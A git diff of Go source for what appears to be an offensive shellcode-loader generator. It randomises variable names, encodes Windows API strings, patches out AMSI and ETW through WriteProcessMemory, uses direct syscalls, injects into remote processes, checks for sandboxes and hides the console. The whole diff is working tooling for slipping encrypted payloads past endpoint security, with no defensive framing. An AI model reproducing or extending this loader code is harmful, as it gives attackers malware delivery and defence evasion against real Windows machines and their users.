+ DLL.Variables["AMSI_Function"] = AMSI_Function
+ DLL.Variables["AMSI"] = AMSI + "()"
+
+ } else {
+ DLL.Variables["AMSI_Function"] = ""
+ DLL.Variables["AMSI"] = ""
+ }
+
+ if ETW == false || AMSI == false {
+ DLL.Variables["HEX_Import"] = `"encoding/hex"`
+ } else {
+ DLL.Variables["HEX_Import"] = ``
+ }
+
if refresher == false {
- LoaderTemplate = Struct.WindowsVersion_DLL_Refresher()
+ LoaderTemplate = Struct.WindowsVersion_Syscall()
DLLStructTemplate = Struct.DLL_Refresher()
} else {
- LoaderTemplate = Struct.WindowsVersion_DLL()
+ LoaderTemplate = Struct.WindowsVersion_Syscall_Unmod()
DLLStructTemplate = Struct.DLL()
}
if ProcessInjection != "" && refresher == false {
ProcessInjection = strings.Replace(ProcessInjection, "\\", "\\\\", -1)
DLL.Variables["processpath"] = ProcessInjection
- LoaderTemplate = Struct.WindowsVersion_DLL_Refresher()
+ DLL.Variables["offset"] = Cryptor.VarNumberLength(4, 9)
+ DLL.Variables["datalength"] = Cryptor.VarNumberLength(4, 9)
+ LoaderTemplate = Struct.WindowsVersion_Syscall()
DLLStructTemplate = Struct.Procces_Injection_DLL()
+
}
WindowsVersionTemplate, err := template.New("WindowsVersion").Parse(LoaderTemplate)
@@ -412,11 +462,11 @@ func DLLfile(b64ciphertext string, b64key string, b64iv string, mode string, ref
if err := DLLTemplate.Execute(&buffer, DLL); err != nil {
log.Fatal(err)
}
- return buffer.String()
+ return buffer.String(), DLL.Variables["FuncName"], DLL.Variables["FuncName"]
}
-func Binaryfile(b64ciphertext string, b64key string, b64iv string, mode string, console bool, sandbox bool, name string, ETW bool, ProcessInjection string, Sleep bool) string {
+func Binaryfile(b64ciphertext string, b64key string, b64iv string, mode string, console bool, sandbox bool, name string, ETW bool, ProcessInjection string, Sleep bool, AMSI bool) (string, string, string) {
var Structure string
var buffer bytes.Buffer
Binary := &Binary{}
@@ -427,170 +477,139 @@ func Binaryfile(b64ciphertext string, b64key string, b64iv string, mode string,
Binary.Variables = make(map[string]string)
WindowsVersion := &WindowsVersion{}
WindowsVersion.Variables = make(map[string]string)
- Binary.Variables["fullciphertext"] = Cryptor.VarNumberLength(4, 12)
- Binary.Variables["ciphertext"] = Utils.B64ripper(b64ciphertext, Binary.Variables["fullciphertext"], true)
- Binary.Variables["key"] = b64key
- Binary.Variables["iv"] = b64iv
- Binary.Variables["vkey"] = Cryptor.VarNumberLength(4, 12)
- Binary.Variables["viv"] = Cryptor.VarNumberLength(4, 12)
- Binary.Variables["block"] = Cryptor.VarNumberLength(4, 12)
- Binary.Variables["decrypted"] = Cryptor.VarNumberLength(4, 12)
- Binary.Variables["mode"] = Cryptor.VarNumberLength(4, 12)
- Binary.Variables["vciphertext"] = Cryptor.VarNumberLength(4, 12)
- Binary.Variables["rawdata"] = Cryptor.VarNumberLength(4, 12)
- Binary.Variables["stuff"] = Cryptor.VarNumberLength(4, 12)
- Binary.Variables["raw_bin"] = Cryptor.VarNumberLength(4, 12)
- Binary.Variables["hexdata"] = Cryptor.VarNumberLength(4, 12)
- Binary.Variables["PKCS5UnPadding"] = Cryptor.VarNumberLength(4, 12)
- Binary.Variables["length"] = Cryptor.VarNumberLength(4, 12)
- Binary.Variables["src"] = Cryptor.VarNumberLength(4, 12)
- Binary.Variables["unpadding"] = Cryptor.VarNumberLength(4, 12)
+ Binary.Variables["FuncName"] = Cryptor.CapLetter() + Cryptor.VarNumberLength(10, 19)
+ Binary.Variables["NTFuncName"] = Cryptor.CapLetter() + Cryptor.VarNumberLength(10, 19)
+ Binary.Variables["errnoErr"] = Cryptor.VarNumberLength(4, 9)
+ Binary.Variables["ptr"] = Cryptor.VarNumberLength(10, 19)
+ Binary.Variables["buff"] = Cryptor.VarNumberLength(10, 19)
+ Binary.Variables["virtualAlloc"] = Cryptor.VarNumberLength(10, 19)
+ Binary.Variables["alloc"] = Cryptor.VarNumberLength(10, 19)
+ Binary.Variables["phandle"] = Cryptor.VarNumberLength(10, 19)
+ Binary.Variables["baseA"] = Cryptor.VarNumberLength(10, 19)
+ Binary.Variables["zerob"] = Cryptor.VarNumberLength(10, 19)
+ Binary.Variables["alloctype"] = Cryptor.VarNumberLength(10, 19)
+ Binary.Variables["protect"] = Cryptor.VarNumberLength(10, 19)
+ Binary.Variables["regionsizep"] = Cryptor.VarNumberLength(10, 19)
+ Binary.Variables["regionsize"] = Cryptor.VarNumberLength(10, 19)
+ Binary.Variables["dll"] = Cryptor.VarNumberLength(10, 19)
+ Binary.Variables["error"] = Cryptor.VarNumberLength(10, 19)
+ Binary.Variables["x"] = Cryptor.VarNumberLength(10, 19)
+ Binary.Variables["file"] = Cryptor.VarNumberLength(10, 19)
+ Binary.Variables["loaddll"] = Cryptor.VarNumberLength(10, 19)
+ Binary.Variables["handle"] = Cryptor.VarNumberLength(10, 19)
+ Binary.Variables["dllBase"] = Cryptor.VarNumberLength(10, 19)
+ Binary.Variables["dllOffset"] = Cryptor.VarNumberLength(10, 19)
+ Binary.Variables["old"] = Cryptor.VarNumberLength(10, 19)
+ Binary.Variables["shellcode"] = Cryptor.VarNumberLength(10, 19)
+ Binary.Variables["oldshellcodeperms"] = Cryptor.VarNumberLength(10, 19)
+ Binary.Variables["loader"] = Cryptor.VarNumberLength(10, 19)
+ Binary.Variables["DLLname"] = Cryptor.VarNumberLength(10, 19)
+ Binary.Variables["Reloading"] = Cryptor.VarNumberLength(10, 19)
+ Binary.Variables["bytes"] = Cryptor.VarNumberLength(10, 19)
+ Binary.Variables["Console"] = Cryptor.VarNumberLength(10, 19)
+ Binary.Variables["getWin"] = Cryptor.VarNumberLength(10, 19)
+ Binary.Variables["showWin"] = Cryptor.VarNumberLength(10, 19)
+ Binary.Variables["hwnd"] = Cryptor.VarNumberLength(10, 19)
+ Binary.Variables["show"] = Cryptor.VarNumberLength(10, 19)
+ Binary.Variables["SW_RESTORE"] = Cryptor.VarNumberLength(10, 19)
+ Binary.Variables["SW_HIDE"] = Cryptor.VarNumberLength(10, 19)
+ Binary.Variables["Version"] = Cryptor.VarNumberLength(10, 19)
+ Binary.Variables["syscall"] = Cryptor.VarNumberLength(10, 19)
- Binary.Variables["loc"] = Cryptor.VarNumberLength(4, 12)
- Binary.Variables["dll"] = Cryptor.VarNumberLength(4, 12)
- Binary.Variables["error"] = Cryptor.VarNumberLength(4, 12)
- Binary.Variables["x"] = Cryptor.VarNumberLength(4, 12)
- Binary.Variables["file"] = Cryptor.VarNumberLength(4, 12)
- Binary.Variables["loaddll"] = Cryptor.VarNumberLength(4, 12)
- Binary.Variables["handle"] = Cryptor.VarNumberLength(4, 12)
- Binary.Variables["dllBase"] = Cryptor.VarNumberLength(4, 12)
- Binary.Variables["dllOffset"] = Cryptor.VarNumberLength(4, 12)
- Binary.Variables["old"] = Cryptor.VarNumberLength(4, 12)
- Binary.Variables["mem"] = Cryptor.VarNumberLength(4, 12)
- Binary.Variables["oldptrperms"] = Cryptor.VarNumberLength(4, 12)
- Binary.Variables["ptr"] = Cryptor.VarNumberLength(4, 12)
- Binary.Variables["shellcode"] = Cryptor.VarNumberLength(4, 12)
- Binary.Variables["oldshellcodeperms"] = Cryptor.VarNumberLength(4, 12)
- Binary.Variables["loader"] = Cryptor.VarNumberLength(4, 12)
- Binary.Variables["DLLname"] = Cryptor.VarNumberLength(4, 12)
- Binary.Variables["hexdata"] = Cryptor.VarNumberLength(4, 12)
- Binary.Variables["VirtualProtect"] = Cryptor.VarNumberLength(4, 12)
- Binary.Variables["procVirtualProtect"] = Cryptor.VarNumberLength(4, 12)
- Binary.Variables["Reloading"] = Cryptor.VarNumberLength(4, 12)
- Binary.Variables["bytes"] = Cryptor.VarNumberLength(4, 12)
- Binary.Variables["Console"] = Cryptor.VarNumberLength(4, 12)
- Binary.Variables["getWin"] = Cryptor.VarNumberLength(4, 12)
- Binary.Variables["showWin"] = Cryptor.VarNumberLength(4, 12)
- Binary.Variables["hwnd"] = Cryptor.VarNumberLength(4, 12)
- Binary.Variables["show"] = Cryptor.VarNumberLength(4, 12)
- Binary.Variables["SW_RESTORE"] = Cryptor.VarNumberLength(4, 12)
- Binary.Variables["SW_HIDE"] = Cryptor.VarNumberLength(4, 12)
- Binary.Variables["Version"] = Cryptor.VarNumberLength(4, 12)
- Binary.Variables["syscall"] = Cryptor.VarNumberLength(4, 12)
- Binary.Variables["Versionfunc"] = Cryptor.VarNumberLength(4, 12)
- Binary.Variables["k"] = Cryptor.VarNumberLength(4, 12)
- Binary.Variables["Version"] = Cryptor.VarNumberLength(4, 12)
- Binary.Variables["MV"] = Cryptor.VarNumberLength(4, 12)
- Binary.Variables["MinV"] = Cryptor.VarNumberLength(4, 12)
- Binary.Variables["syscallnumber"] = Cryptor.VarNumberLength(4, 12)
- Binary.Variables["NtProtectVirtualMemory"] = Cryptor.VarNumberLength(4, 12)
- Binary.Variables["bytesdata"] = Cryptor.VarNumberLength(4, 12)
- Binary.Variables["locdata"] = Cryptor.VarNumberLength(4, 12)
- Binary.Variables["xdata"] = Cryptor.VarNumberLength(4, 12)
- Binary.Variables["dllBasedata"] = Cryptor.VarNumberLength(4, 12)
- Binary.Variables["dllOffsetdata"] = Cryptor.VarNumberLength(4, 12)
- Binary.Variables["memdata"] = Cryptor.VarNumberLength(4, 12)
- Binary.Variables["customsyscall"] = Cryptor.VarNumberLength(4, 12)
+ Binary.Variables["customsyscallVP"] = Cryptor.VarNumberLength(10, 19)
+ Binary.Variables["bytes"] = Cryptor.VarNumberLength(10, 19)
+ Binary.Variables["loc"] = Cryptor.VarNumberLength(10, 19)
+ Binary.Variables["dllOffset"] = Cryptor.VarNumberLength(10, 19)
+ Binary.Variables["mem"] = Cryptor.VarNumberLength(10, 19)
- Binary.Variables["PROCESS_ALL_ACCESS"] = Cryptor.VarNumberLength(4, 12)
- Binary.Variables["errnoERROR_IO_PENDING"] = Cryptor.VarNumberLength(4, 12)
- Binary.Variables["errERROR_IO_PENDING"] = Cryptor.VarNumberLength(4, 12)
-
- Binary.Variables["handle"] = Cryptor.VarNumberLength(4, 12)
- Binary.Variables["regionsize"] = Cryptor.VarNumberLength(4, 12)
- Binary.Variables["runfunc"] = Cryptor.VarNumberLength(4, 12)
- Binary.Variables["oldptrperms"] = Cryptor.VarNumberLength(4, 12)
- Binary.Variables["oldfartcodeperms"] = Cryptor.VarNumberLength(4, 12)
- Binary.Variables["processHandle"] = Cryptor.VarNumberLength(4, 12)
- Binary.Variables["NewProtect"] = Cryptor.VarNumberLength(4, 12)
- Binary.Variables["sysid"] = Cryptor.VarNumberLength(4, 12)
-
- Binary.Variables["oldptrperms"] = Cryptor.VarNumberLength(4, 12)
- Binary.Variables["baseAddress"] = Cryptor.VarNumberLength(4, 12)
- Binary.Variables["regionSize"] = Cryptor.VarNumberLength(4, 12)
- Binary.Variables["oldprotect"] = Cryptor.VarNumberLength(4, 12)
- Binary.Variables["handlez"] = Cryptor.VarNumberLength(4, 12)
-
- Binary.Variables["CreateProcess"] = Cryptor.VarNumberLength(4, 12)
- Binary.Variables["GetModuleInformation"] = Cryptor.VarNumberLength(4, 12)
- Binary.Variables["ReloadRemoteProcess"] = Cryptor.VarNumberLength(4, 12)
- Binary.Variables["RemoteModuleReloading"] = Cryptor.VarNumberLength(4, 12)
- Binary.Variables["Target"] = Cryptor.VarNumberLength(4, 12)
- Binary.Variables["WriteProcessMemory"] = Cryptor.VarNumberLength(4, 12)
- Binary.Variables["addr"] = Cryptor.VarNumberLength(4, 12)
- Binary.Variables["buf"] = Cryptor.VarNumberLength(4, 12)
- Binary.Variables["bytes"] = Cryptor.VarNumberLength(4, 12)
- Binary.Variables["commandLine"] = Cryptor.VarNumberLength(4, 12)
- Binary.Variables["data"] = Cryptor.VarNumberLength(4, 12)
- Binary.Variables["dll"] = Cryptor.VarNumberLength(4, 12)
- Binary.Variables["dllBase"] = Cryptor.VarNumberLength(4, 12)
- Binary.Variables["dllOffset"] = Cryptor.VarNumberLength(4, 12)
- Binary.Variables["err"] = Cryptor.VarNumberLength(4, 12)
- Binary.Variables["file"] = Cryptor.VarNumberLength(4, 12)
- Binary.Variables["funcNtAllocateVirtualMemory"] = Cryptor.VarNumberLength(4, 12)
- Binary.Variables["funcNtCreateThreadEx"] = Cryptor.VarNumberLength(4, 12)
- Binary.Variables["funcNtProtectVirtualMemory"] = Cryptor.VarNumberLength(4, 12)
- Binary.Variables["funcNtWriteVirtualMemory"] = Cryptor.VarNumberLength(4, 12)
- Binary.Variables["hModule"] = Cryptor.VarNumberLength(4, 12)
- Binary.Variables["hProcess"] = Cryptor.VarNumberLength(4, 12)
- Binary.Variables["handle"] = Cryptor.VarNumberLength(4, 12)
- Binary.Variables["handleSize"] = Cryptor.VarNumberLength(4, 12)
- Binary.Variables["hh"] = Cryptor.VarNumberLength(4, 12)
- Binary.Variables["lpBaseAddress"] = Cryptor.VarNumberLength(4, 12)
- Binary.Variables["lpBuffer"] = Cryptor.VarNumberLength(4, 12)
- Binary.Variables["lpNumberOfBytesWritten"] = Cryptor.VarNumberLength(4, 12)
- Binary.Variables["mi"] = Cryptor.VarNumberLength(4, 12)
- Binary.Variables["MI"] = Cryptor.VarNumberLength(4, 12)
- Binary.Variables["mod"] = Cryptor.VarNumberLength(4, 12)
- Binary.Variables["modules"] = Cryptor.VarNumberLength(4, 12)
- Binary.Variables["module"] = Cryptor.VarNumberLength(4, 12)
- Binary.Variables["nLength"] = Cryptor.VarNumberLength(4, 12)
- Binary.Variables["nSize"] = Cryptor.VarNumberLength(4, 12)
- Binary.Variables["name"] = Cryptor.VarNumberLength(4, 12)
- Binary.Variables["needed"] = Cryptor.VarNumberLength(4, 12)
- Binary.Variables["n"] = Cryptor.VarNumberLength(4, 12)
- Binary.Variables["offsetaddr"] = Cryptor.VarNumberLength(4, 12)
- Binary.Variables["oldProtect"] = Cryptor.VarNumberLength(4, 12)
- Binary.Variables["outString"] = Cryptor.VarNumberLength(4, 12)
- Binary.Variables["pi"] = Cryptor.VarNumberLength(4, 12)
- Binary.Variables["procEnumProcessModules"] = Cryptor.VarNumberLength(4, 12)
- Binary.Variables["EnumProcessModules"] = Cryptor.VarNumberLength(4, 12)
- Binary.Variables["procGetModuleBaseName"] = Cryptor.VarNumberLength(4, 12)
- Binary.Variables["GetModuleBaseName"] = Cryptor.VarNumberLength(4, 12)
- Binary.Variables["procGetModuleInformation"] = Cryptor.VarNumberLength(4, 12)
- Binary.Variables["procWriteProcessMemory"] = Cryptor.VarNumberLength(4, 12)
- Binary.Variables["process"] = Cryptor.VarNumberLength(4, 12)
- Binary.Variables["rawbytes"] = Cryptor.VarNumberLength(4, 12)
- Binary.Variables["raw_bin"] = Cryptor.VarNumberLength(4, 12)
- Binary.Variables["regionsize"] = Cryptor.VarNumberLength(4, 12)
- Binary.Variables["s"] = Cryptor.VarNumberLength(4, 12)
- Binary.Variables["shellcode"] = Cryptor.VarNumberLength(4, 12)
- Binary.Variables["si"] = Cryptor.VarNumberLength(4, 12)
- Binary.Variables["size"] = Cryptor.VarNumberLength(4, 12)
- Binary.Variables["startupInfo"] = Cryptor.VarNumberLength(4, 12)
- Binary.Variables["x"] = Cryptor.VarNumberLength(4, 12)
+ Binary.Variables["Versionfunc"] = Cryptor.VarNumberLength(10, 19)
+ Binary.Variables["k"] = Cryptor.VarNumberLength(10, 19)
+ Binary.Variables["MV"] = Cryptor.VarNumberLength(10, 19)
+ Binary.Variables["MinV"] = Cryptor.VarNumberLength(10, 19)
+ Binary.Variables["syscallnumber"] = Cryptor.VarNumberLength(10, 19)
+ Binary.Variables["bytesdata"] = Cryptor.VarNumberLength(10, 19)
+ Binary.Variables["locdata"] = Cryptor.VarNumberLength(10, 19)
+ Binary.Variables["xdata"] = Cryptor.VarNumberLength(10, 19)
+ Binary.Variables["dllBasedata"] = Cryptor.VarNumberLength(10, 19)
+ Binary.Variables["dllOffsetdata"] = Cryptor.VarNumberLength(10, 19)
+ Binary.Variables["customsyscall"] = Cryptor.VarNumberLength(10, 19)
+ Binary.Variables["PROCESS_ALL_ACCESS"] = Cryptor.VarNumberLength(10, 19)
+ Binary.Variables["errnoERROR_IO_PENDING"] = Cryptor.VarNumberLength(10, 19)
+ Binary.Variables["errERROR_IO_PENDING"] = Cryptor.VarNumberLength(10, 19)
+ Binary.Variables["runfunc"] = Cryptor.VarNumberLength(10, 19)
+ Binary.Variables["oldptrperms"] = Cryptor.VarNumberLength(10, 19)
+ Binary.Variables["oldfartcodeperms"] = Cryptor.VarNumberLength(10, 19)
+ Binary.Variables["sysid"] = Cryptor.VarNumberLength(10, 19)
+ Binary.Variables["baseAddress"] = Cryptor.VarNumberLength(10, 19)
+ Binary.Variables["handlez"] = Cryptor.VarNumberLength(10, 19)
+ Binary.Variables["CreateProcess"] = Cryptor.VarNumberLength(10, 19)
+ Binary.Variables["GetModuleInformation"] = Cryptor.VarNumberLength(10, 19)
+ Binary.Variables["ReloadRemoteProcess"] = Cryptor.VarNumberLength(10, 19)
+ Binary.Variables["RemoteModuleReloading"] = Cryptor.VarNumberLength(10, 19)
+ Binary.Variables["Target"] = Cryptor.VarNumberLength(10, 19)
+ Binary.Variables["WriteProcessMemory"] = Cryptor.VarNumberLength(10, 19)
+ Binary.Variables["addr"] = Cryptor.VarNumberLength(10, 19)
+ Binary.Variables["buf"] = Cryptor.VarNumberLength(10, 19)
+ Binary.Variables["commandLine"] = Cryptor.VarNumberLength(10, 19)
+ Binary.Variables["data"] = Cryptor.VarNumberLength(10, 19)
+ Binary.Variables["err"] = Cryptor.VarNumberLength(10, 19)
+ Binary.Variables["funcNtAllocateVirtualMemory"] = Cryptor.VarNumberLength(10, 19)
+ Binary.Variables["funcNtCreateThreadEx"] = Cryptor.VarNumberLength(10, 19)
+ Binary.Variables["funcNtProtectVirtualMemory"] = Cryptor.VarNumberLength(10, 19)
+ Binary.Variables["funcNtWriteVirtualMemory"] = Cryptor.VarNumberLength(10, 19)
+ Binary.Variables["hModule"] = Cryptor.VarNumberLength(10, 19)
+ Binary.Variables["hProcess"] = Cryptor.VarNumberLength(10, 19)
+ Binary.Variables["handleSize"] = Cryptor.VarNumberLength(10, 19)
+ Binary.Variables["hh"] = Cryptor.VarNumberLength(10, 19)
+ Binary.Variables["lpBaseAddress"] = Cryptor.VarNumberLength(10, 19)
+ Binary.Variables["lpBuffer"] = Cryptor.VarNumberLength(10, 19)
+ Binary.Variables["lpNumberOfBytesWritten"] = Cryptor.VarNumberLength(10, 19)
+ Binary.Variables["mi"] = Cryptor.VarNumberLength(10, 19)
+ Binary.Variables["mod"] = Cryptor.VarNumberLength(10, 19)
+ Binary.Variables["modules"] = Cryptor.VarNumberLength(10, 19)
+ Binary.Variables["module"] = Cryptor.VarNumberLength(10, 19)
+ Binary.Variables["nLength"] = Cryptor.VarNumberLength(10, 19)
+ Binary.Variables["nSize"] = Cryptor.VarNumberLength(10, 19)
+ Binary.Variables["name"] = Cryptor.VarNumberLength(10, 19)
+ Binary.Variables["needed"] = Cryptor.VarNumberLength(10, 19)
+ Binary.Variables["n"] = Cryptor.VarNumberLength(10, 19)
+ Binary.Variables["offsetaddr"] = Cryptor.VarNumberLength(10, 19)
+ Binary.Variables["oldProtect"] = Cryptor.VarNumberLength(10, 19)
+ Binary.Variables["outString"] = Cryptor.VarNumberLength(10, 19)
+ Binary.Variables["pi"] = Cryptor.VarNumberLength(10, 19)
+ Binary.Variables["procEnumProcessModules"] = Cryptor.VarNumberLength(10, 19)
+ Binary.Variables["EnumProcessModules"] = Cryptor.VarNumberLength(10, 19)
+ Binary.Variables["procGetModuleBaseName"] = Cryptor.VarNumberLength(10, 19)
+ Binary.Variables["GetModuleBaseName"] = Cryptor.VarNumberLength(10, 19)
+ Binary.Variables["procGetModuleInformation"] = Cryptor.VarNumberLength(10, 19)
+ Binary.Variables["procWriteProcessMemory"] = Cryptor.VarNumberLength(10, 19)
+ Binary.Variables["process"] = Cryptor.VarNumberLength(10, 19)
+ Binary.Variables["rawbytes"] = Cryptor.VarNumberLength(10, 19)
+ Binary.Variables["raw_bin"] = Cryptor.VarNumberLength(10, 19)
+ Binary.Variables["s"] = Cryptor.VarNumberLength(10, 19)
+ Binary.Variables["si"] = Cryptor.VarNumberLength(10, 19)
+ Binary.Variables["size"] = Cryptor.VarNumberLength(10, 19)
+ Binary.Variables["startupInfo"] = Cryptor.VarNumberLength(10, 19)
b64number := Cryptor.GenerateNumer(3, 6)
Binary.Variables["b64number"] = strconv.Itoa(b64number)
- Binary.Variables["ntdll"] = Utils.StringEncode("C:\\Windows\\System32\\ntdll.dll", b64number)
- Binary.Variables["kernelbase"] = Utils.StringEncode("C:\\Windows\\System32\\kernelbase.dll", b64number)
- Binary.Variables["kernel32"] = Utils.StringEncode("C:\\Windows\\System32\\kernel32.dll", b64number)
-
- Binary.Variables["decode"] = Cryptor.VarNumberLength(4, 12)
- Binary.Variables["b64"] = Cryptor.VarNumberLength(4, 12)
- Binary.Variables["decoded"] = Cryptor.VarNumberLength(4, 12)
- Binary.Variables["number"] = Cryptor.VarNumberLength(4, 12)
- Binary.Variables["sum"] = Cryptor.VarNumberLength(4, 12)
-
+ Binary.Variables["decode"] = Cryptor.VarNumberLength(10, 19)
+ Binary.Variables["b64"] = Cryptor.VarNumberLength(10, 19)
+ Binary.Variables["decoded"] = Cryptor.VarNumberLength(10, 19)
+ Binary.Variables["number"] = Cryptor.VarNumberLength(10, 19)
+ Binary.Variables["sum"] = Cryptor.VarNumberLength(10, 19)
Binary.Variables["GetConsoleWindowName"] = Utils.StringEncode("GetConsoleWindow", b64number)
Binary.Variables["ShowWindowName"] = Utils.StringEncode("ShowWindow", b64number)
+ Binary.Variables["WriteProcessMemoryName"] = Utils.StringEncode("WriteProcessMemory", b64number)
+ Binary.Variables["MI"] = Cryptor.VarNumberLength(4, 9)
WindowsVersion.Variables["Version"] = Binary.Variables["Version"]
WindowsVersion.Variables["syscall"] = Binary.Variables["syscall"]
WindowsVersion.Variables["customsyscall"] = Binary.Variables["customsyscall"]
+ WindowsVersion.Variables["customsyscallVP"] = Binary.Variables["customsyscallVP"]
buffer.Reset()
- WindowsVersionTemplate, err := template.New("WindowsVersion").Parse(Struct.WindowsVersion_Binary())
+ WindowsVersionTemplate, err := template.New("WindowsVersion").Parse(Struct.WindowsVersion_Syscall())
if err != nil {
log.Fatal(err)
@@ -632,7 +651,8 @@ func Binaryfile(b64ciphertext string, b64key string, b64iv string, mode string,
} else if console == true && ProcessInjection != "" {
Binary.Variables["hide"] = Binary.Variables["Console"] + "(true)"
Binary.Variables["DebugImport"] = `"io"
- "os"`
+ "os"
+ "fmt"`
Binary.Variables["Debug"] = `
var (
debugWriter io.Writer
@@ -660,7 +680,7 @@ func Binaryfile(b64ciphertext string, b64key string, b64iv string, mode string,
printDebug("[*] Creating Remote Process: " + strpid)
printDebug("[*] Creating Handle to Remote Process")`
Binary.Variables["ModuleMessage"] = "printDebug(\"[*] Mapping Modules:\")"
- Binary.Variables["addr"] = Cryptor.VarNumberLength(4, 12)
+ Binary.Variables["addr"] = Cryptor.VarNumberLength(10, 19)
Binary.Variables["RemoteModuleEnumeration"] =
`` + Binary.Variables["addr"] + `:= fmt.Sprintf("%X", ` + Binary.Variables["MI"] + `.LpBaseOfDll)
printDebug("[+] " + ` + Binary.Variables["s"] + ` + "'s Base Address: " + ` + Binary.Variables["addr"] + `)
@@ -695,9 +715,9 @@ func Binaryfile(b64ciphertext string, b64key string, b64iv string, mode string,
if sandbox == true {
Binary.Variables["SandboxOS"] = `"os"`
- Binary.Variables["IsDomainJoined"] = Cryptor.VarNumberLength(4, 12)
- Binary.Variables["domain"] = Cryptor.VarNumberLength(4, 12)
- Binary.Variables["status"] = Cryptor.VarNumberLength(4, 12)
+ Binary.Variables["IsDomainJoined"] = Cryptor.VarNumberLength(10, 19)
+ Binary.Variables["domain"] = Cryptor.VarNumberLength(10, 19)
+ Binary.Variables["status"] = Cryptor.VarNumberLength(10, 19)
SandboxFunctionTemplate, err := template.New("Sandboxfunction").Parse(Struct.Sandbox())
if err != nil {
log.Fatal(err)
@@ -706,7 +726,7 @@ func Binaryfile(b64ciphertext string, b64key string, b64iv string, mode string,
log.Fatal(err)
}
Binary.Variables["Sandboxfunction"] = buffer.String()
- Binary.Variables["checker"] = Cryptor.VarNumberLength(4, 12)
+ Binary.Variables["checker"] = Cryptor.VarNumberLength(10, 19)
Sandbox_DomainJoinedTemplate, err := template.New("Sandbox_DomainJoined").Parse(Struct.Sandbox_DomainJoined())
buffer.Reset()
if err != nil {
@@ -724,20 +744,59 @@ func Binaryfile(b64ciphertext string, b64key string, b64iv string, mode string,
Binary.Variables["SandboxOS"] = ""
}
+ if (ETW == false || AMSI == false) || ProcessInjection != "" {
+ WriteProcessMemory_Function, decode, WriteProcessMemory := WriteProcessMemory_Buff(Binary.Variables["b64number"], b64number)
+ Binary.Variables["decode"] = decode
+ Binary.Variables["WriteProcessMemory_Function"] = WriteProcessMemory_Function
+ Binary.Variables["WriteProcessMemory"] = WriteProcessMemory
+ } else {
+ Binary.Variables["WriteProcessMemory_Function"] = ""
+ }
if ETW == false {
- ETW_Function, ETW := ETW_Buff(b64number, Binary.Variables["decode"])
+ ETW_Function, ETW := ETW_Buff(b64number, Binary.Variables["decode"], Binary.Variables["WriteProcessMemory"])
Binary.Variables["ETW"] = ETW + "()"
Binary.Variables["ETW_Function"] = ETW_Function
} else {
Binary.Variables["ETW"] = ""
Binary.Variables["ETW_Function"] = ""
}
+ if AMSI == false {
+ AMSI_Function, AMSI := AMSI_Buff(Binary.Variables["WriteProcessMemory"])
+ Binary.Variables["AMSI_Function"] = AMSI_Function
+ Binary.Variables["AMSI"] = AMSI + "()"
+
+ } else {
+ Binary.Variables["AMSI_Function"] = ""
+ Binary.Variables["AMSI"] = ""
+ }
+
+ if ETW == false || AMSI == false {
+ Binary.Variables["HEX_Import"] = `"encoding/hex"`
+ } else {
+ Binary.Variables["HEX_Import"] = ``
+ }
if ProcessInjection != "" {
ProcessInjection = strings.Replace(ProcessInjection, "\\", "\\\\", -1)
Binary.Variables["processpath"] = ProcessInjection
+ Binary.Variables["offset"] = Cryptor.VarNumberLength(4, 9)
+ Binary.Variables["datalength"] = Cryptor.VarNumberLength(4, 9)
Structure = Struct.Procces_Injection()
+ if ETW == false {
+ ETWInjectionTemplate, err := template.New("Binary").Parse(Struct.ETWInjectionSection())
+ if err != nil {
+ log.Fatal(err)
+ }
+ if err := ETWInjectionTemplate.Execute(&buffer, Binary); err != nil {
+ log.Fatal(err)
+ }
+ Binary.Variables["ETWInjectionSection"] = buffer.String()
+ buffer.Reset()
+ } else {
+ Binary.Variables["ETWInjectionSection"] = ""
+ }
+
} else {
Structure = Struct.Binary()
}
@@ -756,7 +815,52 @@ func Binaryfile(b64ciphertext string, b64key string, b64iv string, mode string,
if err := BinaryTemplate.Execute(&buffer, Binary); err != nil {
log.Fatal(err)
}
- return buffer.String()
+ return buffer.String(), Binary.Variables["FuncName"], Binary.Variables["NTFuncName"]
+}
+
+func Shellcode_Buff(b64ciphertext string, b64key string, b64iv string, FuncName string, NTFuncName string) {
+ var buffer bytes.Buffer
+ Shellcode := &Shellcode{}
+ Shellcode.Variables = make(map[string]string)
+ buffer.Reset()
+ Shellcode.Variables["FuncName"] = FuncName
+ Shellcode.Variables["fullciphertext"] = Cryptor.VarNumberLength(10, 19)
+ Shellcode.Variables["ciphertext"] = Utils.B64ripper(b64ciphertext, Shellcode.Variables["fullciphertext"], true)
+ Shellcode.Variables["key"] = b64key
+ Shellcode.Variables["iv"] = b64iv
+ Shellcode.Variables["vkey"] = Cryptor.VarNumberLength(10, 19)
+ Shellcode.Variables["viv"] = Cryptor.VarNumberLength(10, 19)
+ Shellcode.Variables["block"] = Cryptor.VarNumberLength(10, 19)
+ Shellcode.Variables["decrypted"] = Cryptor.VarNumberLength(10, 19)
+ Shellcode.Variables["mode"] = Cryptor.VarNumberLength(10, 19)
+ Shellcode.Variables["vciphertext"] = Cryptor.VarNumberLength(10, 19)
+ Shellcode.Variables["rawdata"] = Cryptor.VarNumberLength(10, 19)
+ Shellcode.Variables["stuff"] = Cryptor.VarNumberLength(10, 19)
+ Shellcode.Variables["raw_bin"] = Cryptor.VarNumberLength(10, 19)
+ Shellcode.Variables["hexdata"] = Cryptor.VarNumberLength(10, 19)
+ Shellcode.Variables["PKCS5UnPadding"] = Cryptor.VarNumberLength(10, 19)
+ Shellcode.Variables["length"] = Cryptor.VarNumberLength(10, 19)
+ Shellcode.Variables["src"] = Cryptor.VarNumberLength(10, 19)
+ Shellcode.Variables["unpadding"] = Cryptor.VarNumberLength(10, 19)
+
+ Shellcode.Variables["sysid"] = Cryptor.VarNumberLength(10, 19)
+ Shellcode.Variables["processHandle"] = Cryptor.VarNumberLength(10, 19)
+ Shellcode.Variables["baseAddress"] = Cryptor.VarNumberLength(10, 19)
+ Shellcode.Variables["regionSize"] = Cryptor.VarNumberLength(10, 19)
+ Shellcode.Variables["NewProtect"] = Cryptor.VarNumberLength(10, 19)
+ Shellcode.Variables["oldprotect"] = Cryptor.VarNumberLength(10, 19)
+ Shellcode.Variables["NtProtectVirtualMemoryprep"] = NTFuncName
+
+ ShellcodeTemplate, err := template.New("Shellcode").Parse(Struct.Decrypt_Function())
+ if err != nil {
+ log.Fatal(err)
+ }
+ buffer.Reset()
+ if err := ShellcodeTemplate.Execute(&buffer, Shellcode); err != nil {
+ log.Fatal(err)
+ }
+ Utils.PackageEditor("loader/loader.go", "Shellcodefunc", buffer.String())
+
}
func JScriptLoader_Buff(name string, filename string, mode string, sandbox bool) (string, string, string) {
